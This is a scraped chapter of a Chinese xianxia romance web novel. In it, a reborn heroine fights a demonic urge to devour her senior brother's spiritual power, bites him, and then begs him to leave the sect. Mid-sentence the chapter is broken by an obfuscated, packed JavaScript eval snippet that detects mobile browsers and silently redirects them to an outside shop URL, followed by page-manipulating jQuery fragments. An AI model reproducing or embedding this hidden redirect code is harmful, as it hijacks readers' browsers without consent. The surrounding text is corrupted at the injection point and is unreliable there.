文趣网 > 其他小说 > 小师妹她不想背锅 > 23. 023 欲望
    唐棠走到外间,看到褚宴正在那里打坐,不由得皱眉:“你怎么在这里?”

    “你喝醉了,我不放心你,”褚宴将昨日应付尹成钧的话重新说了一遍,看着她,“可有感觉头疼或者是别的不舒服的地方吗?”

    唐棠还不算彻底清醒,摇了摇头,随即突然醒神,小心看向褚宴:“我昨晚上……没有做什么出格的事吧?没说什么奇奇怪怪的话吧?“

    褚宴瞥她一眼,比起当着那么多人的面喊着说喜欢他,只有两个人时说这些,自然算不得造次——当然,大庭广众之下表白,也没什么。

    至于在他身上摸摸抱抱的……更不算什么。

    因此褚宴摇头:“没有。”

    唐棠舒了口气,听说有些人喝醉了会胡言乱语,她有很多秘密,不管是重生还是假装喜欢他这事,她真怕自己迷迷糊糊之下都给说漏嘴了。

    褚宴见状,觉得她其实是记得的,特意问起是想假装不知道——不过他也没有非要戳穿她的道理,便没再说什么。

    “如今距离你上次发作的间隔愈发近了,”虽然已经跟尹成钧报备给,褚宴觉得还是有必要跟唐棠说一声,“这几日我都会在你外边守着。”说罢他又盯着唐棠的神色。

    唐棠不太乐意——不是都定做了玉符吗?何必还要就近守着?不过想想也不能每次都摔碎玉符吧,便也没意见,只是她不想每天一起来便看到他,想了想道:“这样多麻烦,我也不必你时时守着,这样吧,我隔壁还空着,你住那边,这样的话万一真有事,我也可以直接喊你。”没事的话,最好是别遇见的好。

    褚宴满意地收回目光——她并不抗拒他接近,还怕他劳累给他安排了住处——她果然是真心喜欢他的。

    褚宴便住到了唐棠隔壁。

    接下来的日子不疾不徐地度过了。

    上一次唐棠提前发作似乎真的是意外,可能真的是因为重生、抑或是身上中的药带来的影响才导致间隔变短且发作得迅速异常,这一次过了两个月,唐棠身上才偶有黑气浮现,不过尚在能忍受的范围之内,就是她如今不能继续修炼也不能大量动用灵气了。

    几人稍稍安心,至少目前间隔不是一个多月。

    如是又过了几日,唐棠体内灵气将被耗尽,也到了需要褚宴替她拔除魔气的日子。

    这次发作不算突然,事先也有准备,也不是第一次经历,因此也算驾轻就熟。

    褚宴握着唐棠的手,等待她体内最后一缕灵气被吞噬殆尽——虽然其实此时唐棠已经有些难受了,但是两人都必须得忍着——刚开始那几年,就是因为唐棠年纪小忍不得、褚宴又见不得她难受,每次她刚开始喊疼,褚宴便开始帮她,导致她发作的间隔越来越短。

    唐棠的手在褚宴手心动了一下。

    她看了一眼褚宴,不由自主地咽了咽口水。

    身体的疼痛让她脑子变得不清明,唐棠忍不住想——其实,她是有办法将自己疼痛减缓的。

    只要……只要跟上辈子一样,将褚宴的灵力掠夺、吞噬、侵占……她便会有更多足以抗衡的能力,她就会享有更长久的安宁。

    ……这便是上辈子她筑基的真相。

    她走了捷径,投机取巧修习了魔修的功法,把不属于自己的东西据为己有。

    人皆有劣性,尝试过旁门之利,便很难再走正途,尤其是前路遍布荆棘的时候。

    因为曾经成功过一次,她现在蠢蠢欲动,跃跃欲试,难以遏制。

    这辈子虽然还没有修行过魔修的功法,但是她清楚地记得,那套自己曾经用过的心法,纵使她只运转过一次。

    不行的……唐棠努力让自己保持清醒,这终究仍是个治标不治本的法子,或者说是饮鸩止渴也不为过,一旦修行了魔修的功法,她便难以克制住自己对褚宴的欲望。

    那欲望无关男女,无关情爱,是捕食者本能的对于猎物的渴望,她想将他肢解撕裂,想要将他吞吃入腹,每一寸肉都啃食殆尽,每一滴血都吮干饮尽,就连骨头,也要吸髓嚼碎啖尽。

    她迫切的希望他成为她身体的一部分,两个人合二为一,从此不分你我。

    仿佛唯有这样,她的灵魂、她的苦难,才能止息。

    这样的欲念太过强烈、太过不堪、太过血腥,她不堪重负,难以直视自己内心的暴虐。

    在自己彻底沦为野兽之前,她选择了落荒而逃。

    但即使是疲于奔命,也难以阻止那嗜血的狂念,她的理智与她的肆虐撕扯着、折磨着她,她心力交瘁,身心俱疲。

    所以上辈子她最终选择了自投罗网,自取灭亡。

    而如今,这份欲望,卷土重来……来势汹汹。

    唐棠手背上青筋尽显,她手指抓紧,几乎要嵌入褚宴掌心。

    褚宴倾身上前,替她拂去额角的汗:“小师妹我知道你难受——你再忍忍。”

    他离她太近了,唐棠再度咽了咽口水。

    上辈子唐棠曾遇见过人斗兽——将野兽饿上几日,到了搏杀之日,凶戾便更胜往昔。

    她如今便是那被禁绝饮食、困于笼中的野兽,褚宴则是悬于她跟前勾引她的生肉。

    他的存在于她而言,便是赤裸裸的挑衅,让她再难压制心底蛰伏的兽性。

    唐棠无法忍受。

    她抬起手抓住他肩膀,在他询问的眼神中,借着这股力道让自己起身,将他拉近、推倒,她跨过他的身体,坐在他身上,她撑着他的肩膀,弓身欺近。

    再凶戾、再饥馁的猛兽,在进食之前,也不会直接张开血盆大口,反倒会先低头,轻轻舔舐猎物。

    唐棠此刻便是如此,放任她的唇舌在他脸上毫无章法地吮弄着,试图找到一个最适合下口的地方。

    褚宴有瞬间的呆滞,想到自己对尹成钧的承诺,此时此刻真的很想问一句,为何只对他有要求,对唐棠却不曾提醒。

    他俩之间,占据主导的,明明一直、从来都是唐棠。

    真该叫尹成钧来看看,自己跟唐棠之间,到底谁是先主动招惹的那个。

    但随着唐棠的吻落在自己脸上,褚宴便无暇再想这些。

    许是因为疼痛,她的眼神不算温柔,她似乎已经在极力克制住对他的情意,小心翼翼地亲近,笨拙却又虔诚的亲吻,偶有一丝用力过度,也许也只是藏不住的占有欲作祟。

    她似乎……真的很在意他。

    褚宴双手在身畔握成拳,指骨泛白,他也在极力克制,他很清楚,这样是不对的,必

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17495086|202447||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    须在事情无法挽回之前阻止唐棠,可他又不清楚,自己究竟是在挣扎着要将她推开,还是在压抑着想将她拥紧。

    唐棠终于找到了一处最适合下嘴的地方,那就是褚宴的唇。

    她轻轻舔了舔他的唇瓣,张口将其含住——

    褚宴好不容易抬起的手重新落下,死死地攥住身下的锦褥——这触觉,比他臆想中的更柔软、更香甜……更叫人沉溺。

    猎物始终不曾反抗,唐棠很是满意,她贝齿轻启,扣上那一抹唇,只需轻轻一咬,便能将他血肉撕扯开来。

    唐棠双齿合上。

    “嘶——”

    身下猎物呼痛的声音响起,口腔中的腥甜让她瞬间清醒。

    她舔了舔齿尖的血,意识到自己在做什么,身子猛地向后退去。

    褚宴倒吸一口气,见她身子似乎要摔倒,忙起身拉住她。

    她坐在他怀中。

    她神色很不好,比先前更难受更痛苦,褚宴按捺下因两人身体太过贴近而生出的旖旎,紧张地喊她:“小师妹?”

    他的血肉又在挑衅她的食欲,唐棠骤然一推,身子向后倒去,本来便坐到了床边,这一倒让她直直跌落床下。

    剧痛让她更清醒了一分。

    褚宴始料未及,没能及时抓住她,连忙起身下去拉她。

    她却像是疯了一般,拼命地推他踢他,不让他靠近分毫。

    最终却又因为已经到了强弩之末,无力再挣扎。

    褚宴将她身子打横抱起,重新放回床上,两人手心相贴,他小心替她纾理着体内暴虐的魔气,她身体痛得缩成一团,将脸埋进被褥之中,眼泪难以自抑地涌出,湮没在布料之中,却又死死咬紧牙关,不让自己发出声响。

    她痛恨自己、厌弃自己,无法直视自己心内的野兽。

    她差一点……就又重蹈上辈子的覆辙了。

    褚宴怕她窒息,拉她或者劝她,都没有用。

    直到一切平息,唐棠始终没有抬起脸。

    褚宴喊了她几声,她没有回应,伸手拉她,她也没有向之前那般抗拒——褚宴将她身子翻过来,她昏睡过去了。

    原本脸枕着的地方洇出一片深色的印记,摸上去还有些濡湿,唐棠双眼闭着,眉头蹙紧,眼尾带着红,泪痕未干,鼻尖也发红,不知是因为哭得太久还是被闷的。

    被子上还有一抹红,褚宴细看去,看到她下唇上跟他一般的位置,被她咬出了血痕。

    褚宴呆呆看了好一会,没敢直接触碰,如今不能给她直接喂丹药,只能往她伤处抹了生肌的药膏,用灵力化开了沁润入皮肤之中。

    随后看了一眼唐棠身上以及凌乱的床,想了想,将人抱起放到了隔壁。

    给唐棠施过净体诀,将人放下之后,褚宴回到唐棠屋内整理完,重新回来的时候,唐棠已经醒了。

    她还没有彻底恢复,虚弱地坐在在床上,看到他过来,深吸一口气,做了决定:“二师兄,你走吧。”

    褚宴摇头:“你歇下之后我再走。”说着在她身边坐下,似乎要扶着她躺下。

    唐棠阻止她:“我不是这个意思。”

    她抬头看着他,语气沉重:“二师兄,我的意思是——你离开沧澜宗吧。”